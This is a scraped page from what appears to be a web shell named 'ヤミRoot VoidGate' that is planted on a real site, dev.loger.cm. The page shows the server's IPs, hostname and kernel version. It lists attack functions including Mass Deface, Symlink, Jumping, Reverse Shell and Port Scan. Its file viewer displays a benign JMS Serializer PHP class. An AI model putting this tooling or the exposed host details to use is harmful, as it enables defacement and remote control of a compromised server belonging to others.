ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
jms
/
serializer
/
src
/
Annotation
/
Viewing: Groups.php
<?php declare(strict_types=1); namespace JMS\Serializer\Annotation; /** * @Annotation * @Target({"PROPERTY","METHOD","ANNOTATION"}) */ #[\Attribute(\Attribute::TARGET_METHOD | \Attribute::TARGET_PROPERTY)] final class Groups { use AnnotationUtilsTrait; /** @var array<string> @Required */ public $groups = []; public function __construct(array $values = [], array $groups = []) { $vars = get_defined_vars(); /* if someone wants to set as Groups(['value' => '...']) this check will miserably fail (only one group with 'value' as only key). That is because doctrine annotations uses for @Groups("abc") the same values content (buy validation will fail since groups has to be an array). All the other cases should work as expected. The alternative here is to use the explicit syntax Groups(groups=['value' => '...']) */ if (count($values) > 0 && ((!isset($values['value']) && !isset($values['groups'])) || count($values) > 1) && 0 === count($groups)) { $vars['groups'] = $values; $vars['values'] = []; } $this->loadAnnotationParameters($vars); } }
Coded With 💗 by
0x6ick